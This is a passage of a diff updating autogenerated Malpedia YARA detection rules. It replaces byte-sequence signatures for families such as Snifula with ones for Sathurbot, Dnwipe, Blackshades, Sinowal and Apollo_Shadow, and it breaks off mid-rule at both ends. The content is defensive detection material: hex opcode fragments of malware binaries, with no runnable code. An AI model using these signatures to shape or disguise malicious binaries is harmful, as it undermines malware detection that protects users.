ff34f5788a4400 ff7508 e8???????? 83c40c 85c0 } + $sequence_9 = { 3bc6 7353 807d8600 8a88a87c4400 8b857cffffff 8808 } condition: - 7 of them and filesize < 491520 + 7 of them and filesize < 807936 } -rule MALPEDIA_Win_Snifula_Auto : FILE +rule MALPEDIA_Win_Sathurbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "afa48786-d5fc-5366-8008-6b70f692e7c3" + id = "40f6d317-e340-5c28-bf05-1e34ed3b7c05" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snifula" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snifula_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sathurbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sathurbot_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "7c279f7057df8c5886f1d459f9399bd6a55001fc2186a62b783d87332b8a3375" + logic_hash = "73420e104486f36b90bb2733cf04075c1d18a3e103b83a2dc2d22ad64ff4f0ae" score = 75 quality = 75 tags = "FILE" @@ -123621,32 +123527,32 @@ rule MALPEDIA_Win_Snifula_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 33f6 8d936c0e0000 6a05 58 50 56 } - $sequence_1 = { 57 8d4c2420 e8???????? 8bd8 3bdd 7524 57 } - $sequence_2 = { 40 8907 8d442414 50 56 56 8d7904 } - $sequence_3 = { 7436 8b4728 a820 7416 ff7710 8b4708 } - $sequence_4 = { 8345ec04 3b45e8 7295 eb1b 8b4df8 8b45f4 8b0488 } - $sequence_5 = { bf???????? 57 53 ff15???????? 8bf0 85f6 7414 } - $sequence_6 = { 7602 8bf0 8b4d10 6a00 56 ff7508 e8???????? } - $sequence_7 = { 8bf8 ff35???????? 8b35???????? ffd6 53 89442414 } - $sequence_8 = { 6a04 8d45fc 50 6a04 56 68???????? ff7508 } - $sequence_9 = { 5e 5b c9 c20400 8d4804 ba1e010000 56 } + $sequence_0 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b84b7e8b0c 0f45c3 } + $sequence_1 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 bfcc456d5f b8dd72d480 } + $sequence_2 = { e9???????? 81fe44b0cddc 7f16 81fe7313fbac 0f850dffffff be80c3aea4 e9???????? } + $sequence_3 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b8d1e835c1 b93dd672c9 } + $sequence_4 = { ebd8 81fa06cfb547 7f27 81fab0570bce 7f30 81fabe1990c9 75c2 } + $sequence_5 = { ebfe 55 89e5 53 56 83ec02 a1???????? } + $sequence_6 = { eb3e 897c2408 8b450c 89442404 893424 e8???????? 8945f0 } + $sequence_7 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b8aebf6a24 0f45c3 } + $sequence_8 = { e9???????? c744240400000000 c7042401000000 89f1 e8???????? 83ec08 8b442454 } + $sequence_9 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b86e66c620 b9a93409fe } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 2727936 } -rule MALPEDIA_Win_Pterois_Auto : FILE +rule MALPEDIA_Win_Minibike_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3320c746-a1fd-5d65-8bd9-a08cf7741ea4" + id = "b4e41190-0fa0-5a7c-a07b-bb3addd5d6da" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pterois" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pterois_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minibike" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minibike_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "40d01f41f8c6ab0bf9862ea3d2722b533235ff4ec8c712399aa15cc1e9f9196b" + logic_hash = "d63c47c9b294af645af17048597f95704ec7db4dff6a776da81f783cf994a29a" score = 75 quality = 75 tags = "FILE" @@ -123660,32 +123566,32 @@ rule MALPEDIA_Win_Pterois_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f82ff620000 4981f800001800 730d 4981f800200000 0f83c9620000 c5fe6f02 c4a17e6f6c02e0 } - $sequence_1 = { 33c9 4c8d057c180100 488d154d6a0100 e8???????? 4885c0 7415 49ba7030525e472705d3 } - $sequence_2 = { c744243000000000 8b442430 89442424 488b4c2440 4831e1 e8???????? 8b442424 } - $sequence_3 = { 75dd 488d055b500100 483bd8 74d1 488bcb e8???????? ebc7 } - $sequence_4 = { c7401808000000 488b4c2468 488d442470 4829c1 488b442458 48034810 } - $sequence_5 = { 4829c4 8b842498100000 8b842490100000 488b05???????? 4831e0 4889842460100000 4c894c2458 } - $sequence_6 = { 48890d???????? e8???????? 4c8d0d91ce0100 4c8bc0 b201 b9fdffffff e8???????? } - $sequence_7 = { e8???????? 488b05???????? 4889442430 488d8c24600c0000 e8???????? 4889c1 } - $sequence_8 = { e8???????? 83f800 0f851c000000 488b05???????? 488b4c2440 } - $sequence_9 = { e8???????? 4889442420 48837c242000 0f840c000000 488b442420 c7401802000000 488b442420 } + $sequence_0 = { 6a00 0f434520 6800008004 6a00 6a00 6a00 51 } + $sequence_1 = { 2bc2 3bc8 0f8758010000 8d040a 8bce 3bc6 0f43c8 } + $sequence_2 = { 75bd 8b5508 8b451c 83f810 7227 8d4801 8bc2 } + $sequence_3 = { 8975b4 a801 742b e8???????? 6a00 c7461000000000 8bce } + $sequence_4 = { 8985b4fdffff 51 0f57c0 c785ecfdffff00000000 8d8588fdffff 660fd685e4fdffff 0f2805???????? } + $sequence_5 = { 2bc6 8bbda4feffff c1f802 898decfcffff 8985f8fcffff 85c0 7441 } + $sequence_6 = { 8b85c8fdffff 33c9 8bb5c4fdffff 2bc6 8bbdd0fdffff c1f802 898df4fcffff } + $sequence_7 = { c7431000000000 c7431407000000 85c0 7568 50 68???????? 8bcb } + $sequence_8 = { eb06 8b95acfcffff 83fa08 7235 8b8d98fcffff 8d145502000000 8bc1 } + $sequence_9 = { 83f81f 0f87e5020000 51 56 e8???????? 83c408 c745b800000000 } condition: - 7 of them and filesize < 528384 + 7 of them and filesize < 574464 } -rule MALPEDIA_Win_Alreay_Auto : FILE +rule MALPEDIA_Win_Dnwipe_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e56c2c54-ad52-5b52-a7dc-5167ef6188a3" + id = "1dfcf0b7-155d-5531-9418-b3b6f7b47f6c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.alreay" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.alreay_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnwipe" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dnwipe_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "691ad5e65c868108d2cf9f6c8d61af6c7a9420c74e344971bfa56b9838124959" + logic_hash = "a0d87818c953765cbf35eb3a0b4d4fff142998a549a84312b85c4d079e960955" score = 75 quality = 75 tags = "FILE" @@ -123699,32 +123605,32 @@ rule MALPEDIA_Win_Alreay_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8a4f06 0bc2 33d2 8b742414 8a7704 8a5705 c1e208 } - $sequence_1 = { 0f859ffdffff 8b8538010000 3bc3 741d 83f801 7418 899de8010000 } - $sequence_2 = { 8b6c2424 898760020000 8b442420 896e58 8b6c242c 896e68 89861c010000 } - $sequence_3 = { 8bd0 0bd3 0f8419010000 33c9 8bd3 894c2420 894c2424 } - $sequence_4 = { b926020000 33c0 8bfe f3ab 8dbe10020000 57 e8???????? } - $sequence_5 = { 8b542418 51 57 52 ff15???????? 85c0 7508 } - $sequence_6 = { 8d4c2414 56 33ed 8b38 895c244c 894c2414 e8???????? } - $sequence_7 = { 897c2418 89bc3490000000 8b7c241c 8bf7 8bdf c1e615 c1eb0b } - $sequence_8 = { 8b7e34 3bfb 7436 8b4760 3bc3 740f 50 } - $sequence_9 = { 8beb 8aa760954700 33e8 c1e508 33c0 33db 8a442411 } + $sequence_0 = { 1306 16 1307 2b22 1106 } + $sequence_1 = { 00 2b37 00 7e01000004 281c00000a 720f000070 } + $sequence_2 = { 00 00 2b37 00 } + $sequence_3 = { 58 0d 09 07 8e 69 fe04 } + $sequence_4 = { 281b00000a 00 00 00 de04 } + $sequence_5 = { 110c 9a 6f2400000a 7285000070 6f2900000a 3a01010000 110a } + $sequence_6 = { 00 2b09 00 17 } + $sequence_7 = { 09 1304 16 1305 2b74 } + $sequence_8 = { 8e 69 3284 00 de05 26 } + $sequence_9 = { 09 9a 732200000a 1304 07 09 9a } condition: - 7 of them and filesize < 1867776 + 7 of them and filesize < 50176 } -rule MALPEDIA_Win_Cotx_Auto : FILE +rule MALPEDIA_Win_Avzhan_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7eae7fd5-fe09-5035-acc7-8021961f04a4" + id = "84066c6e-b6ba-5768-970d-dec408a0e7ed" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cotx" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cotx_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avzhan" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avzhan_auto.yar#L1-L111" license_url = "N/A" - logic_hash = "1c95a0f1a2e7fb0ee9c8ab7674fdf844ade84df8607e565506c61944d3da6b96" + logic_hash = "a735be6148b9160f001fa1a5adca0dca85c778e318efdbf988b4428d95a16bfa" score = 75 quality = 75 tags = "FILE" @@ -123738,32 +123644,32 @@ rule MALPEDIA_Win_Cotx_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c40c 8d45e0 50 ff15???????? 0fb745ee } - $sequence_1 = { c705????????69e053a4 c705????????120d934e c705????????b0b65443 c705????????4df9e511 c705????????0e9a3f4b } - $sequence_2 = { 83e103 f3a4 8dbd98faffff 4f } - $sequence_3 = { c705????????9cb95b4c c705????????2d494a94 c705????????8db133d4 c705????????8e220b1d c705????????6825794d c705????????4506ce62 } - $sequence_4 = { 8d85bcf3ffff 50 ff15???????? 8bf0 } - $sequence_5 = { c705????????f0e91f15 c705????????9cb95b4c c705????????2d494a94 c705????????8db133d4 c705????????8e220b1d } - $sequence_6 = { 68???????? 56 e8???????? 6800f00000 81c690ef0000 68???????? } - $sequence_7 = { c785b8faffff39313044 c1e902 f3a5 8bca } - $sequence_8 = { 6800040000 8d8598f6ffff 6a00 50 e8???????? 83c40c 8d8598feffff } - $sequence_9 = { e8???????? 6890ef0000 8d7760 68???????? } + $sequence_0 = { eb1d 6a02 e8???????? 83c008 } + $sequence_1 = { 51 8d8c2404020000 51 56 } + $sequence_2 = { e8???????? 83c003 33d2 0fafc6 f7742408 } + $sequence_3 = { c744243844000000 f3ab 8b442464 8b3d???????? } + $sequence_4 = { ffd7 6a00 8b542414 52 ffd3 6a0a ffd7 } + $sequence_5 = { 8d8c2418020000 6a00 51 6a00 ffd5 85c0 } + $sequence_6 = { 49 50 8bd9 e8???????? } + $sequence_7 = { 6a14 ff15???????? 833d????????01 75d2 } + $sequence_8 = { e8???????? 8bf0 6a64 81c600040000 e8???????? } + $sequence_9 = { 83c418 3935???????? 7450 8b942464010000 } condition: - 7 of them and filesize < 1171456 + 7 of them and filesize < 122880 } -rule MALPEDIA_Win_Deltas_Auto : FILE +rule MALPEDIA_Win_Woolger_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "71773355-27de-50f9-b937-a4b31a08be87" + id = "69dafade-30c5-5734-830c-150b438e6d59" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deltas" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deltas_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woolger" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.woolger_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "110bf37db48ce7c93aacf644fe14f61a7699258651c7d440500f0fe2335e7ad7" + logic_hash = "a68ced9b21a66c947cc315eb8f76a9ad3604356e88ce1c4ffa9af9c48a2ada10" score = 75 quality = 75 tags = "FILE" @@ -123777,32 +123683,32 @@ rule MALPEDIA_Win_Deltas_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 55 56 8bf1 57 b940000000 33c0 } - $sequence_1 = { 55 53 ff15???????? 85c0 7419 } - $sequence_2 = { 66ab 8d8c247c010000 6804010000 51 c64424146d } - $sequence_3 = { eb45 8b8c249c000000 8d442454 8d7c2454 bd10000000 8d7102 } - $sequence_4 = { 85c0 0f8485010000 8b9884000000 8b8888000000 81c38c000000 83f906 0f8733010000 } - $sequence_5 = { c1ef14 c1e10c 0bf9 8b4828 03fe 894c2438 8bcf } - $sequence_6 = { 8b7824 03f3 897c241c 8bfe 23ee f7d7 } - $sequence_7 = { 88442423 8d442408 b164 b261 50 c644240c6b c644240e72 } - $sequence_8 = { 3bc3 7413 8d542438 52 8b542444 53 53 } - $sequence_9 = { 750e 8d4c2464 51 ffd6 898424c0000000 8d9424b0000000 52 } + $sequence_0 = { 46 8b5510 52 6a00 ff15???????? } + $sequence_1 = { ff15???????? 6800040000 8bf0 e8???????? 83c404 } + $sequence_2 = { 0f84e6000000 3da5000000 0f84db000000 83f85b 0f84cb000000 } + $sequence_3 = { 8b07 83f808 750a be???????? e9???????? } + $sequence_4 = { e9???????? 83f80d 750a be???????? e9???????? 83f814 } + $sequence_5 = { 750a be???????? e9???????? 83f828 750a be???????? } + $sequence_6 = { 0f848e000000 56 57 b980000000 8db5fcfdffff bf???????? } + $sequence_7 = { 57 0fb7d6 6a02 52 ff15???????? } + $sequence_8 = { be???????? e9???????? 83f809 750a be???????? e9???????? 83f80a } + $sequence_9 = { 83f828 750a be???????? e9???????? 83f82c 750a be???????? } condition: - 7 of them and filesize < 90112 + 7 of them and filesize < 196608 } -rule MALPEDIA_Win_Felismus_Auto : FILE +rule MALPEDIA_Win_Meltingclaw_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "705e1888-c3cf-5bf6-ba18-e8626acda3dd" + id = "4c934307-6162-5bd3-9838-14fb4893e749" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.felismus_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meltingclaw" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.meltingclaw_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "fddb824340564e372ed310ad021f3b3ac8af1c9316519efd06d812e4eb93bb2c" + logic_hash = "b6f3eb32e00edec50809c43ad1e4398bb12b63738a427d7db6e1e036df7e69e8" score = 75 quality = 75 tags = "FILE" @@ -123816,32 +123722,32 @@ rule MALPEDIA_Win_Felismus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4514 8b35???????? 50 ff15???????? e9???????? 6804010000 e8???????? } - $sequence_1 = { 03c3 5f 894d04 895508 89450c 5e 5d } - $sequence_2 = { 53 56 57 6804010000 e8???????? 8b7c241c 8bd8 } - $sequence_3 = { 83c640 83c740 3bf5 7ce6 8b4c2418 33c0 eb02 } - $sequence_4 = { 8d842430010000 50 33f6 ffd7 85c0 7e26 8a843430010000 } - $sequence_5 = { 8a46ff 83e03f 41 4f 8a907c520110 8851ff } - $sequence_6 = { 55 8b2d???????? 56 57 6804010000 ffd5 8bf0 } - $sequence_7 = { 56 ffd7 8d4c241c 6a00 51 6a02 } - $sequence_8 = { 740a 3818 7406 ff15???????? b8???????? c3 } - $sequence_9 = { 8bd8 b93f000000 33c0 8bfb f3ab 66ab 83c404 } + $sequence_0 = { 0f8484000000 ffc1 4c63e1 498bcc e8???????? } + $sequence_1 = { 488d8da8000000 48ffc9 48ffc1 803900 } + $sequence_2 = { 33c9 ff15???????? 488d8d80000000 8bd8 e8???????? } + $sequence_3 = { 8bfa 488bd9 33d2 41b804010000 488d4c2470 e8???????? 660f6f05???????? } + $sequence_4 = { 488364243000 4533c9 44896c2428 4533c0 8364242000 } + $sequence_5 = { 880411 48ffc2 84c0 75f3 488d8da8000000 } + $sequence_6 = { 23c1 41c1ff0c 2bc2 448bf0 418d6f01 4883ffff } + $sequence_7 = { 80c121 418809 49ffc1 b90d000000 490fbe41ff 33d2 } + $sequence_8 = { 750e 48396928 7508 48396930 b001 7403 } + $sequence_9 = { 6bc83f 49c70700010000 80c121 418809 49ffc1 b90b000000 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 348160 } -rule MALPEDIA_Win_Ariabody_Auto : FILE +rule MALPEDIA_Win_Sinowal_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b288143a-494f-5110-aa08-78c947a2ffad" + id = "1f893f7f-89f2-5c9f-9fc2-27e806579cce" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ariabody_auto.yar#L1-L162" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sinowal_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "01493614906849451d77f5112637b662b1eef5ef050791957456a657828f7e1a" + logic_hash = "54091d4d3127abdf4debf8514f31e0539d3fa9d766e80cf864467b06870782b4" score = 75 quality = 75 tags = "FILE" @@ -123855,38 +123761,32 @@ rule MALPEDIA_Win_Ariabody_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3ac3 7402 32c3 88040a } - $sequence_1 = { 8bd9 e8???????? 8bf8 893b } - $sequence_2 = { 8d55fc 03f9 e8???????? 59 85c0 } - $sequence_3 = { 0138 115804 eb02 0138 } - $sequence_4 = { 55 8bec 83ec50 53 57 8bd9 } - $sequence_5 = { ff75d9 8d45cc 50 57 } - $sequence_6 = { 56 8d0c30 ffd1 8bc6 5f } - $sequence_7 = { 8bf8 893e eb13 8b16 8bcf } - $sequence_8 = { 448850d2 448850d3 448850d4 448850d5 448850d6 448858d7 } - $sequence_9 = { 33d2 4c8d4c2420 4d895108 4889f1 4533c0 ff9550010000 4c8b542428 } - $sequence_10 = { e8???????? ba0a000000 4c8d15e189ffff 385558 } - $sequence_11 = { 415c 5f 5e c3 4c89e2 } - $sequence_12 = { 48c7c103000080 33d2 4c8d842498000000 4c8d8c24bc010000 4c897020 4c897028 } - $sequence_13 = { c78424bc01000000010000 488d8c2498000000 488d542448 ff95b8010000 4989e2 } - $sequence_14 = { 85c0 752e 4889e9 4889f2 } - $sequence_15 = { 4889742448 4489de 48897c2440 4489d7 4c89642438 4189c4 } + $sequence_0 = { ff15???????? 85c0 0f85b3000000 837df800 } + $sequence_1 = { c7854cfdffff28000000 83bd4cfdffff03 7305 e9???????? 8b8d4cfdffff } + $sequence_2 = { 8b45fc 83c001 8945fc 8b4d0c d1e9 394dfc } + $sequence_3 = { 33d2 7596 837de800 7417 8b4508 8b08 } + $sequence_4 = { 8995ecfeffff c785c4feffff00000000 c745fc00000000 c745f800000000 c685f0feffff00 68ff000000 6a00 } + $sequence_5 = { 50 e8???????? 83c40c c745fc01000000 c745f804010000 8d4df8 } + $sequence_6 = { 51 ff15???????? 33c0 eb03 83c8ff } + $sequence_7 = { 52 ff15???????? c745f400000000 eb09 8b45f4 } + $sequence_8 = { 7405 e9???????? 6830020000 6a00 } + $sequence_9 = { 8b4dfc 0fb611 33d0 8b45fc 8810 8b4dfc } condition: - 7 of them and filesize < 253952 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Blackshades_Auto : FILE +rule MALPEDIA_Win_Pykspa_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "be0044cc-ffdd-5ce8-9261-6f20deb49ec5" + id = "50716d19-baac-512e-9696-08ac9e2a4a98" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackshades_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pykspa_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "5be1fd8de19e4a88da957f4843427153e72a697b528878c27f4d0e3032429536" + logic_hash = "224d3991c62a8b8f8f63073971c195da5bc5aec2fb8743f9bc32c0631a402ab6" score = 75 quality = 75 tags = "FILE" @@ -123900,32 +123800,32 @@ rule MALPEDIA_Win_Blackshades_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff9e0460ff34 6c 60 ff0a } - $sequence_1 = { 08fe f5 0200 0000 6c 70ff 9e } - $sequence_2 = { 70ff f30004eb f4 02eb fb cf } - $sequence_3 = { 351cff1e55 2c00 0d6c04ff1b c700fb301cc9 } - $sequence_4 = { 58 2f 60 ff6c74ff } - $sequence_5 = { 2a23 60 ff1b 0d002a460c fff5 0200 0000 } - $sequence_6 = { 6c ff4a71 70ff 00746c78 ff1b } - $sequence_7 = { 6c ff4a71 70ff 00746c78 ff1b 4a } - $sequence_8 = { ff6c48ff 6c 4c ff40fc } - $sequence_9 = { ff1b 0d002a460c fff5 0200 0000 6c } + $sequence_0 = { 32c0 eb0d 2b4508 8d443004 39450c 0f9dc0 } + $sequence_1 = { ff7524 68???????? e8???????? 83c40c 8d8500fcffff 50 8d8500d4ffff } + $sequence_2 = { 53 ff15???????? e9???????? 8d85a0feffff 68???????? 50 e8???????? } + $sequence_3 = { 8bf0 ff15???????? ff75cc 8bf8 e8???????? 3bf3 59 } + $sequence_4 = { e9???????? 6a0a 8d45b0 50 8d858ceeffff 50 e8???????? } + $sequence_5 = { 8bcb 83e107 c1e102 d3e8 a80f 7503 4b } + $sequence_6 = { 50 6aff ff36 53 53 ff15???????? ff7508 } + $sequence_7 = { 6a41 8d45bc 50 68???????? e8???????? 83c40c ff15???????? } + $sequence_8 = { 53 e8???????? 8903 8d0436 83c40c 894708 6a02 } + $sequence_9 = { 7414 8d4580 50 8d4508 50 56 ff7510 } condition: - 7 of them and filesize < 999424 + 7 of them and filesize < 835584 } -rule MALPEDIA_Win_Norobot_Auto : FILE +rule MALPEDIA_Win_Apollo_Shadow_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "81ee252e-ea83-5b53-acab-35755b04ba71" + id = "ea905677-b1ee-5a47-bc71-e2c692213f7b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.norobot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.norobot_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.apollo_shadow" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.apollo_shadow_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "cfe0160692facfa8b89f040016e3df094319abbfbfe52416eb1da1d5fe06ee4b" + logic_hash = "b4c0913bb7700a7eb24e3d781656266dfb7d50769bc9ee1a9816b626000653e9" score = 75 quality = 75 tags = "FILE" @@ -123939,32 +123839,32 @@ rule MALPEDIA_Win_Norobot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c6400800 488b442408 c3 48894c2408 4883ec28 488b442430 488bc8 } - $sequence_1 = { 4883c420 5b c3 4883611000 488d0520b20100 48894108 488d0505b20100 } - $sequence_2 = { 4d3bc4 0f84ba000000 8b7500 498b9cf620c60300 90 4885db 740e } - $sequence_3 = { 4883ec68 488b05???????? 4833c4 4889442450 4883bc248000000000 7f07 } - $sequence_4 = { 4c8d4c2428 4c8d442430 488bd0 488b4c2450 e8???????? 488b442450 } - $sequence_5 = { 4883bc248800000000 0f8482000000 33c0 83f801 } - $sequence_6 = { 4c8d0576750000 41f644400201 7405 0fb6c9 eb25 0fb6d1 } - $sequence_7 = { 7536 488d15db130300 488b8c24c0100000 e8???????? 8b442440 83c801 89442440 } - $sequence_8 = { 4c8d057b1a0100 488d157c1a0100 b912000000 e8???????? 4885c0 741d 49ba7073d836192e55f3 } - $sequence_9 = { e8???????? 0fb6c0 85c0 7448 48837c245000 7507 837c245801 } + $sequence_0 = { 8bce e8???????? 4183ceff 488d0590880200 4a8b04f8 42f644e03801 } + $sequence_1 = { 48898424e0000000 488bf1 48894c2458 4533f6 4489742430 0f57c0 } + $sequence_2 = { 48b8033bae3ba217f877 488945a7 488b75a7 48b8b89c83748f3838d7 488945a7 488b5da7 48b89553bf5390096f5f } + $sequence_3 = { 48b8ffffffffffffff7f 483bc8 0f8793000000 4803c9 4881f900100000 7224 488d4127 } + $sequence_4 = { 48837d3708 480f43451f 48894d2f 66891c48 eb57 488bd1 } + $sequence_5 = { 4053 4883ec20 b908000000 e8???????? 488bd8 4889442430 48c70001000080 } + $sequence_6 = { 0f28458f 33ff 4c8d7dc7 48837ddf08 4c0f437dc7 } + $sequence_7 = { 448b10 410fb609 83e10f 4a0fbe8431489d0300 428a8c31589d0300 4c2bc8 418b41fc } + $sequence_8 = { c744242804000000 488d842480000000 4889442420 41b904000000 4533c0 488b0f ff15???????? } + $sequence_9 = { f3410f7f01 f30f7e4108 660f60c0 660f71e008 f3410f7f4110 f30f7e4110 660f60c0 } condition: - 7 of them and filesize < 545792 + 7 of them and filesize < 710656 } -rule MALPEDIA_Win_Kikothac_Auto : FILE +rule MALPEDIA_Win_Gratem_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3a1785b6-f597-5e86-8c4e-a3c4c36845cf" + id = "ab5cab4a-386c-5ff0-b7ae-5f5f77749cf9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kikothac_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gratem" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gratem_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "783b1a1a8c3b3dc323ec01428cfa46b90f3abf925fa4bb401d1a6455aac8c5f6" + logic_hash = "faae71a2a37b93e3d77306cf98fe40a8f8f60859a11449c5f85889b06fd54fb4" score = 75 quality = 75 tags = "FILE" @@ -123978,32 +123878,32 @@ rule MALPEDIA_Win_Kikothac_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 668945de e8???????? 83f8ff 0f84c2000000 803d????????00 } - $sequence_1 = { 80ce63 3485 80f601 041b 660fbdd0 } - $sequence_2 = { 8b140e 52 8d5dfc e8???????? 83c404 84c0 7509 } - $sequence_3 = { 57 8bc2 c1f805 8b0485c0514100 8bfa 83e71f } - $sequence_4 = { 660fbae309 8a46ff c1da07 f6c3a7 28d8 51 } - $sequence_5 = { 5b 8b7708 8b7f04 84c0 751a e8???????? 84c0 } - $sequence_6 = { f5 f6d8 9c 28c3 f9 } - $sequence_7 = { 8b4df4 03c2 668b55f8 8908 8a4dfa 66895004 884806 } - $sequence_8 = { c64424080e 50 38c6 98 } - $sequence_9 = { 660fb6f3 8db30307ad85 c744244800000000 8db7ec8bddf1 8b742474 9c ff3424 } + $sequence_0 = { 55 8bec 8b4508 56 8d34c5c0b84000 833e00 7513 } + $sequence_1 = { c6040400 8d1424 52 ff15???????? 8b8c2408010000 33cc } + $sequence_2 = { 8945fc 85c0 742f 8b0e 8b5710 51 52 } + $sequence_3 = { 0fb7048d64bc4000 41 6685c0 75e4 32c0 88460f c3 } + $sequence_4 = { ff15???????? 8945fc 85c0 742f 8b0e } + $sequence_5 = { 0fb6c0 eb12 